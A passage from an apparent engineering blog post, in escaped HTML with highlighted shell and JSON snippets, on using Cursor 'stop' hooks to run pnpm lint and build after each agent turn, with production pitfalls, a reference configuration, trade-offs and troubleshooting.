&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  loop_count=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;$(printf &apos;%s&apos; &quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$json_input&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt; jq -r &apos;.loop_count // 0&apos; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;2&gt;&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;/dev/null)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; -e&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;pitfalls-we-hit-in-production&quot;&gt;Pitfalls we hit in production&lt;/h2&gt;
&lt;h3 id=&quot;pitfall-1-cursors-bundled-node-on-path&quot;&gt;Pitfall 1: Cursor’s bundled Node on &lt;code&gt;PATH&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Symptom: &lt;code&gt;pnpm lint&lt;/code&gt; fails inside the hook with &lt;code&gt;Error [ERR_REQUIRE_ESM]: require() of ES Module ...&lt;/code&gt;, while the same command in your interactive terminal passes.&lt;/p&gt;
&lt;p&gt;Cause: Cursor spawns hook processes with &lt;strong&gt;its own bundled Node&lt;/strong&gt; early on &lt;code&gt;PATH&lt;/code&gt; (commonly under &lt;code&gt;~/.cursor-server/bin/&lt;/code&gt;). That Node version may be older than the toolchain your repository assumes, which breaks packages that moved to ESM-only loading paths.&lt;/p&gt;
&lt;p&gt;Mitigation: strip Cursor’s runtime directories from &lt;code&gt;PATH&lt;/code&gt; before invoking pnpm, or pin &lt;code&gt;NODE&lt;/code&gt; explicitly in the &lt;code&gt;hooks.json&lt;/code&gt; command string. One portable sanitizer uses &lt;code&gt;python3&lt;/code&gt; to rebuild &lt;code&gt;PATH&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;sanitize_cursor_bundled_runtimes_from_path&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; -v python3 &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;/dev/null &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;2&gt;&amp;#x26;1;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    PATH=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;$(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;      python3 -c &apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;import os&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;skip = (&quot;.cursor-server&quot;, &quot;.vscode-server&quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;p = os.environ.get(&quot;PATH&quot;, &quot;&quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;print(&quot;:&quot;.join(x for x in p.split(&quot;:&quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;               if x and not any(s in x for s in skip)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;    )&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; PATH&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# If python3 is unavailable, implement a PATH walk in bash for your environment.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After sanitization, &lt;code&gt;node&lt;/code&gt; should resolve to the same binary you expect from nvm, fnm, mise, or your devcontainer feature—&lt;strong&gt;not&lt;/strong&gt; the editor’s bundled runtime.&lt;/p&gt;
&lt;p&gt;You can also pin a Node binary per hook:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;POST_SESSION_VERIFY_NODE=/usr/local/bin/node .cursor/hooks/post-session-verify.sh&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Key takeaway:&lt;/strong&gt; hooks do not run inside your login shell. They inherit Cursor’s process environment, which may reorder &lt;code&gt;PATH&lt;/code&gt; relative to an interactive session. Baseline this with logging (&lt;code&gt;which node&lt;/code&gt;, &lt;code&gt;node -v&lt;/code&gt;) while iterating.&lt;/p&gt;
&lt;h3 id=&quot;pitfall-2-followup_message-on-success-creates-a-loop&quot;&gt;Pitfall 2: &lt;code&gt;followup_message&lt;/code&gt; on success creates a loop&lt;/h3&gt;
&lt;p&gt;Symptom: the agent keeps responding forever; each turn re-triggers the hook; Hooks channel fills with repetitive success chatter.&lt;/p&gt;
&lt;p&gt;Cause: returning &lt;code&gt;{&quot;followup_message&quot;: &quot;All checks passed!&quot;}&lt;/code&gt; after a green run still schedules another user message, which starts another agent turn, which hits &lt;code&gt;stop&lt;/code&gt; again.&lt;/p&gt;
&lt;p&gt;Mitigation: &lt;strong&gt;use &lt;code&gt;followup_message&lt;/code&gt; only when the model must change the repo.&lt;/strong&gt; On success, print &lt;code&gt;{}&lt;/code&gt;. If you want operators to see success, log to stderr or rotate a log file—not stdout, and not &lt;code&gt;followup_message&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Cursor also exposes &lt;code&gt;loop_limit&lt;/code&gt; per hook script as a safety valve. Defaults are conservative, but you should still treat “success follow-ups” as a logic bug, not something to rely on the cap to mask.&lt;/p&gt;
&lt;h3 id=&quot;pitfall-3-stdout-is-sacred&quot;&gt;Pitfall 3: stdout is sacred&lt;/h3&gt;
&lt;p&gt;Symptom: Cursor ignores hook output; follow-ups never appear.&lt;/p&gt;
&lt;p&gt;Cause: debug &lt;code&gt;echo&lt;/code&gt; statements printing to stdout corrupt the JSON channel.&lt;/p&gt;
&lt;p&gt;Mitigation: route diagnostics to stderr or a file. stdout should contain a single JSON object and nothing else.&lt;/p&gt;
&lt;h3 id=&quot;pitfall-4-non-zero-exit-when-returning-json&quot;&gt;Pitfall 4: non-zero exit when returning JSON&lt;/h3&gt;
&lt;p&gt;Symptom: hook tries to return &lt;code&gt;followup_message&lt;/code&gt;, but Cursor treats the hook as crashed.&lt;/p&gt;
&lt;p&gt;Cause: exiting non-zero signals hook failure, not “lint failed.”&lt;/p&gt;
&lt;p&gt;Mitigation: on lint failure where you successfully composed JSON, &lt;strong&gt;exit 0&lt;/strong&gt; so Cursor parses stdout. Reserve non-zero exits for true hook errors (missing script, unhandled bash &lt;code&gt;-e&lt;/code&gt; failure before JSON emission).&lt;/p&gt;
&lt;h2 id=&quot;debug-logging-and-skipping-work-on-abort&quot;&gt;Debug logging and skipping work on abort&lt;/h2&gt;
&lt;p&gt;When the user cancels generation, &lt;code&gt;stop&lt;/code&gt; may still run with &lt;code&gt;&quot;status&quot;: &quot;aborted&quot;&lt;/code&gt;. Running a full lint and build cycle there is usually wasted work and noisy. A small guard keeps the hook polite:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; [[ &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;${status}&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;aborted&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ]]&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  debug_log &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;stop hook: status=aborted — skipping pnpm lint/build&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;%s\n&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;{}&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For &lt;code&gt;&quot;error&quot;&lt;/code&gt; statuses, decide whether you want verification to run on top of a model-side failure; many teams skip or downgrade checks to avoid compounding confusion.&lt;/p&gt;
&lt;p&gt;A &lt;code&gt;POST_SESSION_VERIFY_DEBUG&lt;/code&gt;-style environment toggle is useful: when enabled, write timestamps, &lt;code&gt;which node&lt;/code&gt;, and truncated command logs to a file; when disabled, keep stderr concise. That toggle can be set in &lt;code&gt;hooks.json&lt;/code&gt; without editing the script body.&lt;/p&gt;
&lt;h2 id=&quot;reference-configuration&quot;&gt;Reference configuration&lt;/h2&gt;
&lt;h3 id=&quot;cursorhooksjson&quot;&gt;&lt;code&gt;.cursor/hooks.json&lt;/code&gt;&lt;/h3&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;hooks&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;stop&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;.cursor/hooks/post-session-verify.sh&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;timeout&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;600&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;loop_limit&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;timeout&lt;/code&gt; should reflect real project cost: cold caches and large TypeScript graphs can push lint and build into many minutes. &lt;code&gt;loop_limit&lt;/code&gt; caps automatic follow-ups if logic regresses.&lt;/p&gt;
&lt;h3 id=&quot;cursorhookspost-session-verifysh&quot;&gt;&lt;code&gt;.cursor/hooks/post-session-verify.sh&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The script should:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read stdin JSON (&lt;code&gt;status&lt;/code&gt;, &lt;code&gt;loop_count&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Sanitize &lt;code&gt;PATH&lt;/code&gt; to remove Cursor’s bundled Node when needed&lt;/li&gt;
&lt;li&gt;Optionally log tool versions when debug is enabled&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;pnpm lint&lt;/code&gt; then &lt;code&gt;pnpm build&lt;/code&gt; sequentially (or your equivalents)&lt;/li&gt;
&lt;li&gt;On failure: emit &lt;code&gt;followup_message&lt;/code&gt; with command, exit code, and truncated output&lt;/li&gt;
&lt;li&gt;On success: emit &lt;code&gt;{}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;On &lt;code&gt;aborted&lt;/code&gt;: skip checks&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Make it executable: &lt;code&gt;chmod +x .cursor/hooks/post-session-verify.sh&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;trade-offs-and-alternatives&quot;&gt;Trade-offs and alternatives&lt;/h2&gt;
&lt;p&gt;Hooks are powerful, but they are not uniformly the best control point.&lt;/p&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Approach&lt;/th&gt;&lt;th&gt;Strength&lt;/th&gt;&lt;th&gt;Cost or risk&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;stop&lt;/code&gt; + &lt;code&gt;followup_message&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Strong self-heal loop; failures resemble user input&lt;/td&gt;&lt;td&gt;Full checks every turn can be slow; requires careful loop hygiene&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;postToolUse&lt;/code&gt; (Write matcher)&lt;/td&gt;&lt;td&gt;Finer granularity; less redundant work&lt;/td&gt;&lt;td&gt;More invocations; different response fields (&lt;code&gt;additional_context&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;sessionEnd&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Good for audit, analytics, signing, cleanup&lt;/td&gt;&lt;td&gt;No live agent loop; not a substitute for in-turn repair&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;GitHub Actions only&lt;/td&gt;&lt;td&gt;Authoritative, reproducible, multi-OS matrices&lt;/td&gt;&lt;td&gt;Feedback arrives later; no automatic in-editor repair&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Local git hooks&lt;/td&gt;&lt;td&gt;Enforced at commit time&lt;/td&gt;&lt;td&gt;Does not understand agent turns; can frustrate rapid WIP commits&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The key trade-off is &lt;strong&gt;latency versus coverage&lt;/strong&gt;. &lt;code&gt;stop&lt;/code&gt; optimizes for coverage at the turn boundary. &lt;code&gt;postToolUse&lt;/code&gt; optimizes for tighter coupling to file mutations. CI optimizes for team-wide enforcement. In practice, combine them: hooks for fast local alignment, Actions for policy and release gates.&lt;/p&gt;
&lt;h2 id=&quot;applications-and-examples&quot;&gt;Applications and examples&lt;/h2&gt;
&lt;p&gt;Beyond lint and build, the same pattern applies to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Typecheck-only gates&lt;/strong&gt; for repositories where ESLint is noisy but &lt;code&gt;tsc --noEmit&lt;/code&gt; is authoritative&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Generated code drift checks&lt;/strong&gt; (&lt;code&gt;pnpm codegen &amp;#x26;&amp;#x26; git diff --exit-code&lt;/code&gt;) when agents edit protobuf or OpenAPI clients&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Focused test slices&lt;/strong&gt; (&lt;code&gt;pnpm test --filter package-name&lt;/code&gt;) when the agent is scoped to a package&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Keep messages actionable: include the failing command, exit code, and enough log context to locate files without dumping entire build artifacts.&lt;/p&gt;
&lt;h2 id=&quot;validation-and-measurement&quot;&gt;Validation and measurement&lt;/h2&gt;
&lt;p&gt;To validate the hook environment matches your expectations, run these &lt;strong&gt;from the same machine&lt;/strong&gt; but first in an interactive shell, then temporarily at the top of the hook (guarded by debug):&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; -v node &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; node -v&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; -v pnpm &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; pnpm -v&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;%s\n&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;$PATH&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; tr &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;\n&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; head -n 40&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Quick check:&lt;/strong&gt; after adding PATH sanitization, confirm &lt;code&gt;which node&lt;/code&gt; no longer points under &lt;code&gt;.cursor-server&lt;/code&gt; when the hook prints its baseline log.&lt;/p&gt;
&lt;p&gt;To validate JSON integrity without involving Cursor, pipe a synthetic payload:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;%s\n&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;{&quot;status&quot;:&quot;completed&quot;,&quot;loop_count&quot;:0}&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; .cursor/hooks/post-session-verify.sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see exactly one JSON object on stdout. If you wrap the hook for testing, preserve stdin semantics.&lt;/p&gt;
&lt;h2 id=&quot;security-and-performance-considerations&quot;&gt;Security and performance considerations&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Security:&lt;/strong&gt; project hooks are code execution for everyone who opens the repository. Treat &lt;code&gt;.cursor/hooks/&lt;/code&gt; like &lt;code&gt;.github/workflows/&lt;/code&gt; or &lt;code&gt;package.json&lt;/code&gt; scripts: review changes, pin dependencies, and avoid fetching remote shell snippets at runtime. If a hook reads secrets from the environment, remember they are available to the subprocess—same as any local script.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Performance:&lt;/strong&gt; running full &lt;code&gt;pnpm build&lt;/code&gt; after every turn can dominate wall time on large apps. Mitigations include caching, splitting “fast lint” from “slow build,” using &lt;code&gt;postToolUse&lt;/code&gt; for incremental checks, or scoping worksets when the agent is confined to a package. Always set &lt;code&gt;timeout&lt;/code&gt; and &lt;code&gt;loop_limit&lt;/code&gt; so a pathological loop cannot burn unlimited CPU.&lt;/p&gt;
&lt;h2 id=&quot;limitations-and-future-work&quot;&gt;Limitations and future work&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Hooks are editor-local.&lt;/strong&gt; They do not absolve you of CI; they reduce surprise before push.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Behavior evolves with Cursor versions.&lt;/strong&gt; stdin fields and supported events can expand; pin documentation dates in internal runbooks when you rely on subtle semantics.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Non-deterministic agents:&lt;/strong&gt; even perfect logs do not guarantee the next turn fixes the root cause—budget follow-ups and keep human review on risky areas.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;troubleshooting&quot;&gt;Troubleshooting&lt;/h2&gt;



































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Symptom&lt;/th&gt;&lt;th&gt;Likely cause&lt;/th&gt;&lt;th&gt;Mitigation&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Hook never runs&lt;/td&gt;&lt;td&gt;Wrong &lt;code&gt;command&lt;/code&gt; path for project vs user hooks&lt;/td&gt;&lt;td&gt;Use &lt;code&gt;.cursor/hooks/...&lt;/code&gt; under repo root; restart Cursor&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;ERR_REQUIRE_ESM&lt;/code&gt; only in hook&lt;/td&gt;&lt;td&gt;Bundled Node on &lt;code&gt;PATH&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Sanitize &lt;code&gt;PATH&lt;/code&gt; or set explicit &lt;code&gt;NODE&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Infinite agent chatter&lt;/td&gt;&lt;td&gt;Success &lt;code&gt;followup_message&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Return &lt;code&gt;{}&lt;/code&gt; on green runs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;stdout JSON ignored&lt;/td&gt;&lt;td&gt;Non-zero exit or stray prints&lt;/td&gt;&lt;td&gt;Exit 0 when emitting JSON; log to stderr&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Slow sessions&lt;/td&gt;&lt;td&gt;Full build each turn&lt;/td&gt;&lt;td&gt;Narrow checks, use &lt;code&gt;postToolUse&lt;/code&gt;, or cache&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
